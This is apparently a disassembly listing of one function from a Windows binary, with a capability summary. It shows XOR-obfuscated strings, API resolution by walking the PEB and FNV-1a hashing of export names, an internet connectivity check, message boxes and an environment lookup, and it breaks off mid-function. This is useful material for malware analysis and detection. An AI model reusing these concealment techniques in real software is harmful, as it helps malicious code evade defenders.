Function at 0x140003930
Capabilities:
Access peb ldr_data
Check internet connectivity via wininet
Encode data using xor
Execute command
Hash data using fnv
Query environment variable
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Set console window title

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x80]
sub rsp, 0x180
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rbp + 0x20], rax
movups xmm0, xmmword [str.hJCXTR]
movups xmmword [rsp + 0x68], xmm0
movdqa xmm9, xmmword [0x140008930]
movdqa xmm8, xmmword [0x140008940]
movdqa xmm10, xmmword [0x140008920]
movdqa xmm7, xmmword [0x140008950]
movdqa xmm6, xmmword [0x140008900]
xor r14d, r14d
mov r12d, dword [0x14000b090]
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140003b10
cmp r12d, 2
jl 0x140003ad5
mov edx, r14d
movdqa xmmword [rsp + 0x20], xmm8
lea rcx, [rsp + 0x6c]
mov r8d, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400039f0
jmp 0x140003b10
lea r9, [rsp + 0x68]
mov r8d, r14d
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140003ae0
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
movsd xmm0, qword [0x140008630]
movsd qword [rsp + 0x20], xmm0
mov eax, dword [0x140008638]
mov dword [rsp + 0x28], eax
movzx eax, word [0x14000863c]
mov word [rsp + 0x2c], ax
movzx eax, byte [0x14000863e]
mov byte [rsp + 0x2e], al
mov r8d, r14d
mov r13d, 8
cmp r12d, 2
jl 0x140003c2d
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm8
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140008630]
xorps xmm1, xmm0
movd dword [rsp + 0x20], xmm1
movdqa xmm2, xmmword [0x140008910]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x24]
xorps xmm2, xmm1
movd dword [rsp + 0x24], xmm2
mov r8d, r13d
movsxd rax, r8d
lea r9, [rsp + 0x20]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140003c40
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.140005c00
nop
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140003c92
mov rcx, qword [rax]
mov rdx, rcx
jmp 0x140003c95
mov rdx, rax
mov rsi, rcx
mov r15, qword [rax + 0x10]
add r15, rdx
cmp rcx, r15
je 0x140003d8f
nop dword [rax + rax]
movzx edx, byte [rsi]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005f30
lea rdx, [0x140006100]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov rbx, rdi
nop word [rax + rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140003d63
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140003d63
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov eax, dword [rcx + r10]
add rax, r9
mov edx, 0x811c9dc5
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x140003d5e
nop dword [rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax]
lea rax, [rax + 1]
test cl, cl
jne 0x140003d40
cmp edx, 0x2fa62ca8
je 0x140003dca
test r8d, r8d
jne 0x140003d20
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
je 0x140003d79
cmp qword [rax + 0x30], 0
jne 0x140003cf0
mov rax, r14
mov ecx, 0x32
call rax
inc rsi
cmp rsi, r15
jne 0x140003cb0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140003dea
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003de5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003de5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r8*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
jmp 0x140003d7c
call fcn.1400065ec
call fcn.1400017c0
test eax, eax
jne 0x1400041b7
movups xmm0, xmmword [str.KSOU_S_]
movups xmmword [rsp + 0x30], xmm0
mov eax, dword [0x140008608]
mov dword [rsp + 0x40], eax
cmp byte [0x14000860b], 0
je 0x140003f70
mov r8d, r14d
cmp r12d, 2
jl 0x140003f2b
movdqa xmmword [rsp + 0x20], xmm8
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140003e40
cmp r8d, 0x14
jge 0x140003f70
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x140003f40
movzx eax, word [0x1400085e8]
mov word [rsp + 0x78], ax
movzx eax, byte [0x1400085ea]
movups xmm0, xmmword [str.v__]
mov byte [rsp + 0x7a], al
movups xmmword [rsp + 0x68], xmm0
mov r8d, r14d
cmp r12d, 2
jl 0x14000409b
movdqa xmmword [rsp + 0x20], xmm8
lea rcx, [rsp + 0x6c]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140003fb0
cmp r8d, 0x13
jge 0x1400040e0
movsxd rax, r8d
lea r9, [rsp + 0x68]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1400040b0
mov r9d, 0x1014
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x68]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
jne 0x14000469c
call fcn.1400018b0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov rbx, rdi
nop dword [rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140004197
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140004197
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r10]
add rdx, r9
mov ecx, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140004192
nop dword [rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140004170
cmp ecx, 0xcded1a85
je 0x14000467e
test r8d, r8d
jne 0x140004150
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
je 0x1400041ad
cmp qword [rax + 0x30], 0
jne 0x140004120
mov rax, r14
mov ecx, 0xffffffff
call rax
movups xmm0, xmmword [str.PMNK]
movups xmmword [rbp - 0x80], xmm0
movzx eax, word [0x1400088e8]
mov word [rbp - 0x70], ax
cmp byte [0x1400088e9], 0
je 0x140004330
mov r8d, r14d
cmp r12d, 2
jl 0x1400042eb
movdqa xmmword [rsp + 0x20], xmm8
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140004200
cmp r8d, 0x12
jge 0x140004330
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140004300
lea rcx, [rbp - 0x60]
dec rcx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140004337
lea r8, [rbp - 0x80]
xor edx, edx
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140004350
xor r8d, r8d
mov edx, 1
lea rcx, [rbp - 0x60]
call qword [sym.imp.WININET.dll_InternetCheckConnectionA]
test eax, eax
jne 0x140004ac6
movups xmm0, xmmword [str.qWNNS_K______3__k_____Q]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x140008780]
movsd qword [rsp + 0x40], xmm0
movzx eax, word [0x140008788]
mov word [rsp + 0x48], ax
cmp byte [0x140008789], 0
je 0x140004500
mov r8d, r14d
cmp r12d, 2
jl 0x1400044bb
movdqa xmmword [rsp + 0x20], xmm8
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400043d0
cmp r8d, 0x1a
jge 0x140004500
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400044d0
lea rcx, [rsp + 0x30]
call fcn.140001370
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov rbx, rdi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1400045a7
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x1400045a7
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r10]
add rdx, r9
mov ecx, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400045a2
nop dword [rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140004580
cmp ecx, 0x2fa62ca8
je 0x140004a81
test r8d, r8d
jne 0x140004560
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
je 0x1400045bd
cmp qword [rax + 0x30], 0
jne 0x140004530
mov rax, r14
mov ecx, 0x1770
call rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov rbx, rdi
nop
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140004657
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140004657
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r10]
add rdx, r9
mov ecx, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140004652
nop dword [rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140004630
cmp ecx, 0xcded1a85
je 0x140004a9f
test r8d, r8d
jne 0x140004610
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
je 0x140004ab9
cmp qword [rax + 0x30], 0
jne 0x1400045e0
mov ecx, 0xffffffff
call r14
jmp 0x140005abc
mov eax, dword [r11 + 0x24]
add rax, r9
movzx edx, word [rax + r8*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x1400041b0
movups xmm0, xmmword [str.k_IOYP]
movups xmmword [rsp + 0x68], xmm0
mov eax, dword [0x140008580]
mov dword [rsp + 0x78], eax
movzx eax, word [0x140008584]
mov word [rsp + 0x7c], ax
cmp byte [0x140008585], 0
je 0x140004820
mov r8d, r14d
cmp r12d, 2
jl 0x1400047db
movdqa xmmword [rsp + 0x20], xmm8
lea rcx, [rsp + 0x6c]
mov edx, dword [rsp + 0x20]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400046f0
cmp r8d, 0x16
jge 0x140004820
movsxd rax, r8d
lea r9, [rsp + 0x68]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400047f0
mov eax, dword [0x140008890]
mov dword [rsp + 0x40], eax
movzx eax, byte [0x140008894]
movups xmm0, xmmword [str.jLTe_N]
mov byte [rsp + 0x44], al
movups xmmword [rsp + 0x30], xmm0
mov r8d, r14d
cmp r12d, 2
jl 0x14000494b
movdqa xmmword [rsp + 0x20], xmm8
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140004860
cmp r8d, 0x15
jge 0x140004990
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140004960
mov r9d, 0x1010
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.1400018b0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov rbx, rdi
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140004a43
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140004a43
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r10 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ecx, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140004a3e
nop dword [rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140004a20
cmp ecx, 0xcded1a85
je 0x140004a62
test r8d, r8d
jne 0x140004a00
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
je 0x1400041ad
cmp qword [rax + 0x30], 0
jne 0x1400049d0
jmp 0x1400041ad
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx r8d, word [rcx + r8*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [rcx + r8*4]
add rax, r9
jmp 0x1400041b0
mov eax, dword [r11 + 0x24]
add rax, r9
movzx edx, word [rax + r8*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x1400045c0
mov eax, dword [r11 + 0x24]
add rax, r9
movzx edx, word [rax + r8*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov r14d, dword [rcx + rdx*4]
add r14, r9
mov ecx, 0xffffffff
call r14
jmp 0x140005abc
movsd xmm0, qword [str.MJ_IRSZ_]
movsd qword [rsp + 0x20], xmm0
movzx eax, byte [0x1400088a0]
mov byte [rsp + 0x20], 0x75
xor byte [rsp + 0x21], 0x39
xor byte [rsp + 0x22], 0x3a
xor byte [rsp + 0x23], 0x3b
xor byte [rsp + 0x24], 0x3c
xor byte [rsp + 0x25], 0x3d
xor byte [rsp + 0x26], 0x3e
xor byte [rsp + 0x27], 0x3f
xor al, 0x40
mov byte [rsp + 0x28], al
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov eax, dword [str._UI_kM_IH]
mov dword [rsp + 0x20], eax
cmp byte [0x1400086bf], 0
je 0x140004bd0
cmp r12d, 2
jl 0x140004b8f
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm8
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x20], xmm1
jmp 0x140004bd0
lea r9, [rsp + 0x20]
mov r8d, r14d
nop word [rax + rax]
